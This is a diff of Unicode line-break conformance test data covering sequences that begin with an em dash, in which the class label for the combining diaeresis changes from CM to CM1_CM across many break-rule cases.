+× 2014 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 2014 × 000B ÷ # × [0.3] EM DASH (B2) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 2014 × 0020 × 000B ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 2014 × 0308 × 000B ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 2014 × 0308 × 0020 × 000B ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 2014 × 0308 × 000B ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 2014 × 0308 × 0020 × 000B ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 2014 ÷ FFFC ÷ # × [0.3] EM DASH (B2) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 2014 × 0020 ÷ FFFC ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 2014 × 0308 ÷ FFFC ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 2014 × 0308 ÷ FFFC ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 2014 × 007D ÷ # × [0.3] EM DASH (B2) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 2014 × 0020 × 007D ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 2014 × 0308 × 007D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 2014 × 0308 × 0020 × 007D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 2014 × 0308 × 007D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 2014 × 0308 × 0020 × 007D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 2014 × 0029 ÷ # × [0.3] EM DASH (B2) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 2014 × 0020 × 0029 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2014 × 0308 × 0029 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2014 × 0308 × 0020 × 0029 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2014 × 0001 ÷ # × [0.3] EM DASH (B2) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2014 × 0020 ÷ 0001 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2014 × 0308 × 0001 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 2014 × 0308 × 0029 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 2014 × 0308 × 0020 × 0029 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 2014 × 000D ÷ # × [0.3] EM DASH (B2) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 2014 × 0020 × 000D ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 2014 × 0308 × 000D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 2014 × 0308 × 0020 × 000D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 2014 × 0308 × 000D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 2014 × 0308 × 0020 × 000D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 2014 × 0021 ÷ # × [0.3] EM DASH (B2) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 2014 × 0020 × 0021 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 2014 × 0308 × 0021 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 2014 × 0308 × 0020 × 0021 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 2014 × 0308 × 0021 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 2014 × 0308 × 0020 × 0021 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 2014 × 00A0 ÷ # × [0.3] EM DASH (B2) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 2014 × 0020 ÷ 00A0 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 2014 × 0308 × 00A0 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 2014 × 0308 × 00A0 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 2014 ÷ AC00 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 2014 × 0020 ÷ AC00 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 2014 × 0308 ÷ AC00 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 2014 × 0308 ÷ AC00 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 2014 ÷ AC01 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 2014 × 0020 ÷ AC01 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 2014 × 0308 ÷ AC01 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 2014 × 0308 ÷ AC01 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 2014 ÷ 05D0 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 2014 × 0020 ÷ 05D0 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 2014 × 0308 ÷ 05D0 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 2014 × 0308 ÷ 05D0 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 2014 × 002D ÷ # × [0.3] EM DASH (B2) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 2014 × 0020 ÷ 002D ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 2014 × 0308 × 002D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 002D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 2014 × 0308 × 002D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 002D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 2014 ÷ 231A ÷ # × [0.3] EM DASH (B2) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 2014 × 0020 ÷ 231A ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 2014 × 0308 ÷ 231A ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 231A ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 2014 × 0308 ÷ 231A ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 231A ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 2014 ÷ 2024 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 2014 × 0020 ÷ 2024 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 2014 × 0308 ÷ 2024 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 2014 × 0308 ÷ 2024 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 2014 × 002C ÷ # × [0.3] EM DASH (B2) × [13.02] COMMA (IS) ÷ [0.3]
× 2014 × 0020 × 002C ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 2014 × 0308 × 002C ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 2014 × 0308 × 0020 × 002C ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 2014 × 0308 × 002C ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 2014 × 0308 × 0020 × 002C ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 2014 ÷ 1100 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 2014 × 0020 ÷ 1100 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 2014 × 0308 ÷ 1100 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 2014 × 0308 ÷ 1100 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 2014 ÷ 11A8 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 2014 × 0020 ÷ 11A8 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 2014 × 0308 ÷ 11A8 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 2014 × 0308 ÷ 11A8 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 2014 ÷ 1160 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 2014 × 0020 ÷ 1160 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 2014 × 0308 ÷ 1160 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 2014 × 0308 ÷ 1160 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 2014 × 000A ÷ # × [0.3] EM DASH (B2) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 2014 × 0020 × 000A ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 2014 × 0308 × 000A ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 2014 × 0308 × 0020 × 000A ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 2014 × 0308 × 000A ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 2014 × 0308 × 0020 × 000A ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 2014 × 0085 ÷ # × [0.3] EM DASH (B2) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 2014 × 0020 × 0085 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 2014 × 0308 × 0085 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 2014 × 0308 × 0020 × 0085 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 2014 × 0308 × 0085 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 2014 × 0308 × 0020 × 0085 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 2014 × 17D6 ÷ # × [0.3] EM DASH (B2) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 2014 × 0020 ÷ 17D6 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 2014 × 0308 × 17D6 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 2014 × 0308 × 17D6 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 2014 ÷ 0030 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 2014 × 0020 ÷ 0030 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 2014 × 0308 ÷ 0030 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 2014 × 0308 ÷ 0030 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 2014 ÷ 0028 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 2014 × 0020 ÷ 0028 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 2014 × 0308 ÷ 0028 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 2014 × 0308 ÷ 0028 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 2014 ÷ 0025 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 2014 × 0020 ÷ 0025 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 2014 × 0308 ÷ 0025 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 2014 × 0308 ÷ 0025 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 2014 ÷ 0024 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 2014 × 0020 ÷ 0024 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 2014 × 0308 ÷ 0024 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 2014 × 0308 ÷ 0024 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 2014 × 0022 ÷ # × [0.3] EM DASH (B2) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 2014 × 0020 ÷ 0022 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 2014 × 0308 × 0022 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 2014 × 0308 × 0022 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 2014 × 0020 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [0.3]
× 2014 × 0020 × 0020 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
